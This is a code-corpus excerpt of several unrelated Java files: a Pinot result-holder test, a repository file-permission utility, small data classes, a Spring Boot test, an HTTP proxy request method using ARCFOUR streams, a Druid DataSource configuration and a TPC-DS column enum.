* Gets the value of the imageWidth property.
*
*/
public int getImageWidth() {
return imageWidth;
}
/**
* Sets the value of the imageWidth property.
*
*/
public void setImageWidth(int value) {
this.imageWidth = value;
}
/**
* Gets the value of the imageHeight property.
*
*/
public int getImageHeight() {
return imageHeight;
}
/**
* Sets the value of the imageHeight property.
*
*/
public void setImageHeight(int value) {
this.imageHeight = value;
}
/**
* Gets the value of the videoType property.
*
*/
public short getVideoType() {
return videoType;
}
/**
* Sets the value of the videoType property.
*
*/
public void setVideoType(short value) {
this.videoType = value;
}
/**
* Gets the value of the isValid property.
*
*/
public boolean isIsValid() {
return isValid;
}
/**
* Sets the value of the isValid property.
*
*/
public void setIsValid(boolean value) {
this.isValid = value;
}
}
| 22.395683 | 97 | 0.581433 |
d46a710ad277dab0a24faff67579f82669864017 | 5,883 | /**
* Copyright (C) 2014-2016 LinkedIn Corp. (pinot-core@linkedin.com)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.linkedin.pinot.query.aggregation.groupby;
import com.linkedin.pinot.common.utils.Pairs.IntDoubleComparator;
import com.linkedin.pinot.common.utils.Pairs.IntDoublePair;
import com.linkedin.pinot.core.query.aggregation.groupby.DoubleGroupByResultHolder;
import com.linkedin.pinot.core.query.aggregation.groupby.GroupByResultHolder;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Random;
import org.testng.Assert;
import org.testng.annotations.BeforeSuite;
import org.testng.annotations.Test;
/**
* Test for GroupByResultHolder class.
*/
@Test
public class DoubleGroupByResultHolderTest {
private static final long RANDOM_SEED = System.nanoTime();
private static final int INITIAL_CAPACITY = 100;
private static final int MAX_CAPACITY = 1000;
private static final double DEFAULT_VALUE = -1;
double[] _expected;
/**
* Initial setup:
* - Initialize the '_expected' array with random double values.
*/
@BeforeSuite
void setup() {
Random random = new Random(RANDOM_SEED);
_expected = new double[MAX_CAPACITY];
for (int i = 0; i < MAX_CAPACITY; i++) {
double value = random.nextDouble();
_expected[i] = value;
}
}
/**
* This test is for the GroupByResultHolder.SetValueForKey() api.
* - Sets a random set of values in the result holder.
* - Asserts that the values returned by the result holder are as expected.
*/
@Test
void testSetValueForKey() {
GroupByResultHolder resultHolder =
new DoubleGroupByResultHolder(INITIAL_CAPACITY, MAX_CAPACITY, MAX_CAPACITY, DEFAULT_VALUE);
for (int i = 0; i < INITIAL_CAPACITY; i++) {
resultHolder.setValueForKey(i, _expected[i]);
}
testValues(resultHolder, _expected, 0, INITIAL_CAPACITY);
}
/**
* This test is for the GroupByResultHolder.EnsureCapacity api.
* - Fills the the result holder with a set of values.
* - Calls ensureCapacity to expand the result holder size.
* - Checks that the expanded unfilled portion of the result holder contains {@ref #DEFAULT_VALUE}
* - Fills the rest of the resultHolder, and ensures all values are returned as expected.
*/
@Test
void testEnsureCapacity() {
GroupByResultHolder resultHolder =
new DoubleGroupByResultHolder(INITIAL_CAPACITY, MAX_CAPACITY, MAX_CAPACITY, DEFAULT_VALUE);
for (int i = 0; i < INITIAL_CAPACITY; i++) {
resultHolder.setValueForKey(i, _expected[i]);
}
resultHolder.ensureCapacity(MAX_CAPACITY);
for (int i = INITIAL_CAPACITY; i < MAX_CAPACITY; i++) {
double actual = resultHolder.getDoubleResult(i);
Assert.assertEquals(actual, DEFAULT_VALUE,
"Default Value mis-match: Actual: " + actual + " Expected: " + DEFAULT_VALUE + " Random seed: "
+ RANDOM_SEED);
resultHolder.setValueForKey(i, _expected[i]);
}
testValues(resultHolder, _expected, 0, MAX_CAPACITY);
}
/**
* Test for 'trimResults' method, with sort order from max to min.
*/
@Test
void testMaxTrimResults() {
testTrimResults(false);
}
/**
* Test for 'trimResults' method, with sort order from min to max.
*/
@Test
void testMinTrimResults() {
testTrimResults(true);
}
/**
* Helper method to test values within resultHolder against the provided expected values array.
*
* @param resultHolder
* @param expected
* @param start
* @param end
*/
private void testValues(GroupByResultHolder resultHolder, double[] expected, int start, int end) {
for (int i = start; i < end; i++) {
double actual = resultHolder.getDoubleResult(i);
Assert.assertEquals(actual, expected[i],
"Value mis-match: Actual: " + actual + " Expected: " + expected[i] + " Random seed: " + RANDOM_SEED);
}
}
/**
* Helper method for testing trim results.
* Sets a max size on the result holder and adds more values than the max size of the result holder.
* Then asserts that the right results survive after trimming.
*
* @param minOrder
*/
void testTrimResults(final boolean minOrder) {
GroupByResultHolder resultHolder =
new DoubleGroupByResultHolder(INITIAL_CAPACITY, MAX_CAPACITY, INITIAL_CAPACITY, DEFAULT_VALUE, minOrder);
List<IntDoublePair> expected = new ArrayList<>(MAX_CAPACITY);
for (int i = 0; i < INITIAL_CAPACITY; i++) {
resultHolder.setValueForKey(i, _expected[i]);
expected.add(new IntDoublePair(i, _expected[i]));
}
// This will trigger the transition from array based to map based storage within the result holder.
resultHolder.ensureCapacity(MAX_CAPACITY);
for (int i = INITIAL_CAPACITY; i < MAX_CAPACITY; i++) {
resultHolder.setValueForKey(i, _expected[i]);
expected.add(new IntDoublePair(i, _expected[i]));
}
// Trim the results.
resultHolder.trimResults();
// Sort the input
Collections.sort(expected, new IntDoubleComparator(!minOrder));
// Ensure that all the correct group keys survive after trimming.
for (int i = 0; i < INITIAL_CAPACITY; i++) {
IntDoublePair pair = expected.get(i);
Assert.assertEquals(resultHolder.getDoubleResult(pair.getIntValue()), pair.getDoubleValue());
}
}
}
| 34.00578 | 113 | 0.703043 |
5c4a11d63e202b9f728578d39f941e1d8c0ee82b | 9,874 | /**
Copyright 2008 University of Rochester
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package edu.ur.tag.repository;
import java.util.Collection;
import java.util.Set;
import org.apache.log4j.Logger;
import edu.ur.ir.FileSystem;
import edu.ur.ir.FileSystemType;
import edu.ur.ir.file.FileVersion;
import edu.ur.ir.file.IrFile;
import edu.ur.ir.file.TransformedFileType;
import edu.ur.ir.file.VersionedFile;
import edu.ur.ir.item.GenericItem;
import edu.ur.ir.item.ItemFile;
import edu.ur.ir.repository.RepositoryService;
import edu.ur.ir.security.IrAcl;
import edu.ur.ir.security.SecurityService;
import edu.ur.ir.user.IrUser;
import edu.ur.ir.user.PersonalFile;
/**
* Utility functions.
*
* @author Nathan Sarr
*
*/
public class FileWebUtilFunctions {
/** Eclipse generated id */
private static final long serialVersionUID = -8130846946682991084L;
/** Logger. */
private static final Logger log = Logger.getLogger(FileWebUtilFunctions.class);
/** Security service */
private static SecurityService mySecurityService = null;
/** service to deal with repository information */
private static RepositoryService repositoryService = null;
/**
* Security service for dealing with secure actions.
*
* @param securityService
*/
public void setSecurityService(SecurityService securityService) {
mySecurityService = securityService;
}
/**
* This checks to make sure the specified user is the owner of the
* versioned file.
*
* @param user - user who we want to check is the owner
* @param versionedFile - versioned file
*
* @return true if the user is the owner of the versioned file
*/
public static boolean isOwner(IrUser user, VersionedFile versionedFile)
{
if( versionedFile == null || versionedFile.getOwner() == null)
{
return false;
}
return versionedFile.getOwner().equals(user);
}
/**
* Determine if this person is the one who has locked the file
*
* @param user - user to check and see if the user is the one who locked
* the file.
*
* @param versionedFile - the versioned file to look at.
*
* @return true if the file is locked.
*/
public static boolean isLocker(IrUser user, VersionedFile versionedFile)
{
if( versionedFile == null || !versionedFile.isLocked() ||
versionedFile.getLockedBy() == null )
{
return false;
}
return versionedFile.getLockedBy().equals(user);
}
/**
* Determine if the contents can be moved into the specified location. This is true
* if the destination is not equal to the current destination. A collection cannot be
* moved into itself;
*
* @param objectsToMove - set of information to be moved
* @param destination - destination to move to
* @return true if the set of information can be moved into the specified location
*/
public static boolean canMoveToFolder(Collection<FileSystem> objectsToMove, FileSystem destination)
{
for(FileSystem fileSystemObject : objectsToMove)
{
// same type and id means they are equal
if( fileSystemObject.getFileSystemType().equals(destination.getFileSystemType()) &&
fileSystemObject.getId().equals(destination.getId()) )
{
return false;
}
}
return true;
}
/**
* Determine if the destination is one of the file that has to be moved
*
* @param objectsToMove - set of information to be moved
* @param object - current object
* @return true if the destination file is one of the files to be moved
*/
public static boolean isFileToBeMoved(Collection<FileSystem> objectsToMove, FileSystem object)
{
for(FileSystem fileSystemObject : objectsToMove)
{
if( fileSystemObject.getFileSystemType().equals(object.getFileSystemType()) &&
fileSystemObject.getId().equals(object.getId()) )
{
return true;
}
}
return false;
}
/**
* Security service for dealing with if a user can lock a file.
*
* @param user
* @param versionedFile
* @return
*/
public static boolean canLockFile(IrUser user, VersionedFile versionedFile)
{
boolean canLockFile = false;
if( versionedFile == null || versionedFile.isLocked()
|| versionedFile.getOwner() == null )
{
canLockFile = false;
}
else if ( versionedFile.getOwner() != null && versionedFile.getOwner().equals(user) )
{
canLockFile = true;
}
else
{
IrAcl acl = mySecurityService.getAcl(versionedFile, user);
if (acl != null) {
if (acl.isGranted(VersionedFile.EDIT_PERMISSION, user, false)) {
canLockFile = true;
}
}
}
return canLockFile;
}
/**
* Security service for dealing with if a user can share a file.
*
* @param user
* @param versionedFile
* @return
*/
public static boolean canShareFile(IrUser user, VersionedFile versionedFile)
{
boolean canShareFile = false;
if ( versionedFile.getOwner() != null && versionedFile.getOwner().equals(user) )
{
canShareFile = true;
}
else
{
log.debug("checking has share permission");
IrAcl acl = mySecurityService.getAcl(versionedFile, user);
if (acl != null) {
if (acl.isGranted(VersionedFile.SHARE_PERMISSION, user, false)) {
canShareFile = true;
}
}
}
return canShareFile;
}
/**
* Security service for dealing with if a user can edit a file.
*
* @param user
* @param versionedFile
* @return
*/
public static boolean canEditFile(IrUser user, VersionedFile versionedFile)
{
boolean canEdit = false;
if (versionedFile.getOwner() != null &&
versionedFile.getOwner().equals(user)) {
canEdit = true;
log.debug("is owner");
}
else if ( versionedFile.getLockedBy() != null &&
versionedFile.getLockedBy().equals(user))
{
log.debug( "locker of file");
canEdit = true;
}
else
{
IrAcl acl = mySecurityService.getAcl(versionedFile, user);
if (acl != null) {
if (acl.isGranted(VersionedFile.EDIT_PERMISSION, user, false)) {
canEdit = true;
}
}
}
return canEdit;
}
/**
* Security service for dealing with if a user can break the lock on a file.
*
* @param user
* @param versionedFile
* @return
*/
public static boolean canBreakLock(IrUser user, VersionedFile versionedFile)
{
boolean canBreakLock = false;
if (versionedFile == null || !versionedFile.isLocked() ) {
canBreakLock = false;
}
else if (versionedFile.getOwner() != null &&
versionedFile.getOwner().equals(user)) {
canBreakLock = true;
}
else
{
IrAcl acl = mySecurityService.getAcl(versionedFile, user);
if (acl != null) {
if (acl.isGranted(VersionedFile.MANAGE_PERMISSION, user, false)) {
canBreakLock = true;
}
}
}
return canBreakLock;
}
/**
* Return true if the file has the transformed file for the
* specified system code.
*
* @param irFile - ir file to check
* @param systemCode - system code to look for
* @return - true if the file has the system code
*/
public static boolean hasTransformedFile(IrFile irFile, String systemCode)
{
boolean hasTransformedFile = false;
if( irFile != null && systemCode != null)
{
if(irFile.getTransformedFileBySystemCode(systemCode) != null)
{
hasTransformedFile = true;
}
}
return hasTransformedFile;
}
/**
* Determine if the file exists in the item
* @param personalFile - personal file to check for
* @param item - item to check
*
* @return true if the personal file exists in the item
*/
public static boolean fileExistsInItem(PersonalFile personalFile, GenericItem item )
{
boolean fileExist = false;
Set<FileVersion> versions = personalFile.getVersionedFile().getVersions();
for(ItemFile itemFile:item.getItemFiles()) {
for (FileVersion fileVersion:versions) {
if (fileVersion.getIrFile().equals(itemFile.getIrFile())) {
return true;
}
}
}
return fileExist;
}
/**
* Determine if the user can read the file.
*
* @param user - user to check
* @param versionedFile - versioned file to use
*
* @return true if teh user can read the file otherwise false
*/
public static boolean canReadFile(IrUser user, VersionedFile versionedFile)
{
boolean canRead = false;
IrAcl acl = mySecurityService.getAcl(versionedFile, user);
if (acl != null) {
if (acl.isGranted(VersionedFile.VIEW_PERMISSION, user, false)) {
canRead = true;
}
}
return canRead;
}
/**
* Checks whether the IrFile has thumbnail
*
* @param irFile file to check for thumbnail
* @return
*/
public static boolean hasThumbnail(IrFile irFile) {
if( irFile == null )
{
return false;
}
return repositoryService.getTransformByIrFileSystemCode(irFile.getId(), TransformedFileType.PRIMARY_THUMBNAIL) != null ? true: false;
}
public void setRepositoryService(RepositoryService repositoryService) {
FileWebUtilFunctions.repositoryService = repositoryService;
}
}
| 26.904632 | 136 | 0.659611 |
0a1e2485268f154ba0093c665a18a1d3eee0860e | 116 | package com.ruisitech.bi.entity.common;
public abstract class BaseEntity {
public abstract void validate();
}
| 14.5 | 39 | 0.758621 |
1cb2c7ff57634cdeef35275de10d86cca361f191 | 2,738 | /**
* Copyright (C) 2011 Smithsonian Astrophysical Observatory
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cfa.vo.sedlib;
/**
* <p>Java class for interval complex type.
*
*
*/
public class Interval
extends Group
{
protected DoubleParam min;
protected DoubleParam max;
@Override
public Object clone ()
{
Interval interval = (Interval) super.clone();
if (this.isSetMin ())
interval.min = (DoubleParam)this.min.clone ();
if (this.isSetMax ())
interval.max = (DoubleParam)this.max.clone ();
return interval;
}
/**
* Gets the value of the min property.
*
* @return
* either null or
* {@link DoubleParam }
*
*/
public DoubleParam getMin() {
return min;
}
/**
* Creates min property if one does not exist.
*
* @return
* {@link DoubleParam }
*
*/
public DoubleParam createMin() {
if (this.min == null)
this.setMin (new DoubleParam ());
return this.min;
}
/**
* Sets the value of the min property.
*
* @param value
* allowed object is
* {@link DoubleParam }
*
*/
public void setMin(DoubleParam value) {
this.min = value;
}
public boolean isSetMin() {
return (this.min!= null);
}
/**
* Gets the value of the max property.
*
* @return
* either null or
* {@link DoubleParam }
*
*/
public DoubleParam getMax() {
return max;
}
/**
* Creates max property if one does not exist.
*
* @return
* {@link DoubleParam }
*
*/
public DoubleParam createMax() {
if (this.max == null)
this.setMax (new DoubleParam ());
return this.max;
}
/**
* Sets the value of the max property.
*
* @param value
* allowed object is
* {@link DoubleParam }
*
*/
public void setMax(DoubleParam value) {
this.max = value;
}
public boolean isSetMax() {
return (this.max!= null);
}
}
| 20.900763 | 75 | 0.551863 |
e092f82d278cc197dbe2eb7881941ef09d69f31a | 952 | package io.falcon.repository;
import io.falcon.dto.Message;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
@SpringBootTest
@ExtendWith(SpringExtension.class)
public class MessageRepositoryIntegrationTest {
@Autowired
private MessageRepository messageRepository;
@Test
public void testCreateMessageAndPersist() {
Message message = new Message(null, "message");
Message message1 = messageRepository.save(message);
Message persisted = messageRepository.findById(message1.getId())
.orElseThrow(() -> new IllegalStateException("Not found in db"));
Assertions.assertEquals(message1, persisted);
}
}
| 30.709677 | 89 | 0.756303 |
52dd5e2f54ba3ae7631ab4f689484015e37c930c | 13,977 | public HTTPResponseMessage getHTTPResponseMessage() throws HTTPRequestException {
try {
HTTPMessageHeader[] httpRequestMessage1Headers1 = httpRequestMessage.getHTTPMessageHeaders();
HTTPMessageHeader httpRequestMessage1Header1 = httpRequestMessage1Headers1[0];
String httpRequestMessage1Header1Key1 = httpRequestMessage1Header1.getKey();
String httpRequestMessage1Header1Value1 = httpRequestMessage1Header1.getValue();
logger.log(2, "HTTP_REQUEST/GET_HTTP_RESPONSE_MESSAGE: REQUEST: " + httpRequestMessage1Header1Value1);
String[] httpRequestMessage1Header1Values1 = httpRequestMessage1Header1Value1.split(" ");
String httpRequestMessage1Header1Value2 = httpRequestMessage1Header1Values1[1];
String[] httpRequestMessage1Header1Values2 = httpRequestMessage1Header1Value2.split("/", -1);
String httpRequestMessage1Header1Value3 = httpRequestMessage1Header1Values2[0];
if (httpRequestMessage1Header1Value3.equalsIgnoreCase("http:")) {
httpRequestMessage1Header1Value2 = "";
for (int j = 3; j < httpRequestMessage1Header1Values2.length; j = j + 1) {
httpRequestMessage1Header1Value2 = httpRequestMessage1Header1Value2 + "/" + httpRequestMessage1Header1Values2[j];
}
httpRequestMessage1Header1Values1[1] = httpRequestMessage1Header1Value2;
}
httpRequestMessage1Header1Values1[2] = "HTTP/1.0";
httpRequestMessage1Header1Value1 = httpRequestMessage1Header1Values1[0];
for (int j = 1; j < httpRequestMessage1Header1Values1.length; j = j + 1) {
httpRequestMessage1Header1Value1 = httpRequestMessage1Header1Value1 + " " + httpRequestMessage1Header1Values1[j];
}
httpRequestMessage1Header1.setValue(httpRequestMessage1Header1Value1);
for (int j = 1; j < httpRequestMessage1Headers1.length; j = j + 1) {
httpRequestMessage1Header1 = httpRequestMessage1Headers1[j];
httpRequestMessage1Header1Key1 = httpRequestMessage1Header1.getKey();
httpRequestMessage1Header1Value1 = httpRequestMessage1Header1.getValue();
if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Accept")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Accept-Charset")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Accept-Encoding")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Accept-Language")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Allow")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Authorization")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Cache-Control")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Connection")) {
httpRequestMessage.removeHTTPMessageHeader(httpRequestMessage1Header1);
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Content-Encoding")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Content-Language")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Content-Length")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Content-Location")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Content-MD5")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Content-Range")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Content-Type")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Date")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Expect")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Expires")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("From")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Host")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("If-Match")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("If-Modified-Since")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("If-None-Match")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("If-Range")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("If-Unmodified-Since")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Keep-Alive")) {
httpRequestMessage.removeHTTPMessageHeader(httpRequestMessage1Header1);
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Last-Modified")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Max-Forwards")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Pragma")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Proxy-Authorization")) {
httpRequestMessage.removeHTTPMessageHeader(httpRequestMessage1Header1);
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Proxy-Connection")) {
httpRequestMessage.removeHTTPMessageHeader(httpRequestMessage1Header1);
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Range")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Referer")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("TE")) {
httpRequestMessage.removeHTTPMessageHeader(httpRequestMessage1Header1);
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Trailer")) {
httpRequestMessage.removeHTTPMessageHeader(httpRequestMessage1Header1);
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Transfer-Encoding")) {
httpRequestMessage.removeHTTPMessageHeader(httpRequestMessage1Header1);
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Upgrade")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("User-Agent")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Via")) {
} else if (httpRequestMessage1Header1Key1.equalsIgnoreCase("Warning")) {
}
logger.log(3, "HTTP_REQUEST/GET_HTTP_RESPONSE_MESSAGE: REQUEST: " + httpRequestMessage1Header1Key1 + ": " + httpRequestMessage1Header1Value1);
}
httpRequestMessage.addHTTPMessageHeader(new HTTPMessageHeader("Connection", "close"));
SecretKeySpec secretKeySpec = new SecretKeySpec(APJP.APJP_KEY.getBytes(), "ARCFOUR");
Cipher outputCipher = Cipher.getInstance("ARCFOUR");
outputCipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
CipherOutputStream cipherOutputStream = new CipherOutputStream(urlConnection.getOutputStream(), outputCipher);
HTTPMessageHeader[] httpRequestMessage1Headers2 = httpRequestMessage.getHTTPMessageHeaders();
HTTPMessageHeader httpRequestMessage1Header2 = httpRequestMessage1Headers2[0];
String httpRequestMessage1Header2Key1 = httpRequestMessage1Header2.getKey();
String httpRequestMessage1Header2Value1 = httpRequestMessage1Header2.getValue();
cipherOutputStream.write((httpRequestMessage1Header2Value1 + "\r\n").getBytes());
for (int j = 1; j < httpRequestMessage1Headers2.length; j = j + 1) {
httpRequestMessage1Header2 = httpRequestMessage1Headers2[j];
httpRequestMessage1Header2Key1 = httpRequestMessage1Header2.getKey();
httpRequestMessage1Header2Value1 = httpRequestMessage1Header2.getValue();
cipherOutputStream.write((httpRequestMessage1Header2Key1 + ": " + httpRequestMessage1Header2Value1 + "\r\n").getBytes());
}
cipherOutputStream.write(("\r\n").getBytes());
httpRequestMessage.read(cipherOutputStream);
Cipher inputCipher = Cipher.getInstance("ARCFOUR");
inputCipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
CipherInputStream cipherInputStream = new CipherInputStream(urlConnection.getInputStream(), inputCipher);
HTTPResponseMessage httpResponseMessage1 = new HTTPResponseMessage(httpRequestMessage, cipherInputStream);
httpResponseMessage1.read();
HTTPMessageHeader[] httpResponseMessage1Headers1 = httpResponseMessage1.getHTTPMessageHeaders();
HTTPMessageHeader httpResponseMessage1Header1 = httpResponseMessage1Headers1[0];
String httpResponseMessage1Header1Key1 = httpResponseMessage1Header1.getKey();
String httpResponseMessage1Header1Value1 = httpResponseMessage1Header1.getValue();
logger.log(2, "HTTP_REQUEST/GET_HTTP_RESPONSE_MESSAGE: RESPONSE: " + httpResponseMessage1Header1Value1);
String[] httpResponseMessage1Header1Values1 = httpResponseMessage1Header1Value1.split(" ");
httpResponseMessage1Header1Values1[0] = "HTTP/1.0";
httpResponseMessage1Header1Value1 = httpResponseMessage1Header1Values1[0];
for (int j = 1; j < httpResponseMessage1Header1Values1.length; j = j + 1) {
httpResponseMessage1Header1Value1 = httpResponseMessage1Header1Value1 + " " + httpResponseMessage1Header1Values1[j];
}
httpResponseMessage1Header1.setValue(httpResponseMessage1Header1Value1);
for (int j = 1; j < httpResponseMessage1Headers1.length; j = j + 1) {
httpResponseMessage1Header1 = httpResponseMessage1Headers1[j];
httpResponseMessage1Header1Key1 = httpResponseMessage1Header1.getKey();
httpResponseMessage1Header1Value1 = httpResponseMessage1Header1.getValue();
if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Accept-Ranges")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Age")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Allow")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Cache-Control")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Connection")) {
httpResponseMessage1.removeHTTPMessageHeader(httpResponseMessage1Header1);
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Content-Encoding")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Content-Language")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Content-Length")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Content-Location")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Content-MD5")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Content-Range")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Content-Type")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Date")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("ETag")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Expires")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Keep-Alive")) {
httpResponseMessage1.removeHTTPMessageHeader(httpResponseMessage1Header1);
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Last-Modified")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Location")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Pragma")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Proxy-Authenticate")) {
httpResponseMessage1.removeHTTPMessageHeader(httpResponseMessage1Header1);
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Proxy-Connection")) {
httpResponseMessage1.removeHTTPMessageHeader(httpResponseMessage1Header1);
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Retry-After")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Server")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Trailer")) {
httpResponseMessage1.removeHTTPMessageHeader(httpResponseMessage1Header1);
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Transfer-Encoding")) {
httpResponseMessage1.removeHTTPMessageHeader(httpResponseMessage1Header1);
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Vary")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Upgrade")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Via")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("Warning")) {
} else if (httpResponseMessage1Header1Key1.equalsIgnoreCase("WWW-Authenticate")) {
}
logger.log(3, "HTTP_REQUEST/GET_HTTP_RESPONSE_MESSAGE: RESPONSE: " + httpResponseMessage1Header1Key1 + ": " + httpResponseMessage1Header1Value1);
}
httpResponseMessage1.addHTTPMessageHeader(new HTTPMessageHeader("Connection", "close"));
return httpResponseMessage1;
} catch (Exception e) {
throw new HTTPRequestException("HTTP_REQUEST/GET_HTTP_RESPONSE_MESSAGE", e);
}
}
| 85.748466 | 161 | 0.691708 |
8dd30c62491594073df78b154122045e83428408 | 934 | package com.muses.taoshop.common.core.database.config;
import com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceBuilder;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import javax.sql.DataSource;
import static com.muses.taoshop.common.core.database.config.BaseConfig.DATA_SOURCE_NAME;
import static com.muses.taoshop.common.core.database.config.BaseConfig.DATA_SOURCE_PROPERTIES;
/**
* <pre>
* DataSource配置类
* </pre>
*
* @author nicky
* @version 1.00.00
* <pre>
* 修改记录
* 修改后版本: 修改人: 修改日期: 修改内容:
* </pre>
*/
@Configuration
public class DataSourceConfig {
@Bean(name = DATA_SOURCE_NAME)
@ConfigurationProperties(prefix = DATA_SOURCE_PROPERTIES)
public DataSource dataSource() {
return DruidDataSourceBuilder.create().build();
}
}
| 26.685714 | 94 | 0.761242 |
96955ec14a7804ab8f927e019e8fa9fe06fbe8b2 | 2,576 | /*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.teradata.tpcds.column;
import com.teradata.tpcds.Table;
import static com.teradata.tpcds.Table.CATALOG_SALES;
import static com.teradata.tpcds.column.ColumnTypes.IDENTIFIER;
import static com.teradata.tpcds.column.ColumnTypes.INTEGER;
import static com.teradata.tpcds.column.ColumnTypes.decimal;
public enum CatalogSalesColumn
implements Column
{
CS_SOLD_DATE_SK(IDENTIFIER),
CS_SOLD_TIME_SK(IDENTIFIER),
CS_SHIP_DATE_SK(IDENTIFIER),
CS_BILL_CUSTOMER_SK(IDENTIFIER),
CS_BILL_CDEMO_SK(IDENTIFIER),
CS_BILL_HDEMO_SK(IDENTIFIER),
CS_BILL_ADDR_SK(IDENTIFIER),
CS_SHIP_CUSTOMER_SK(IDENTIFIER),
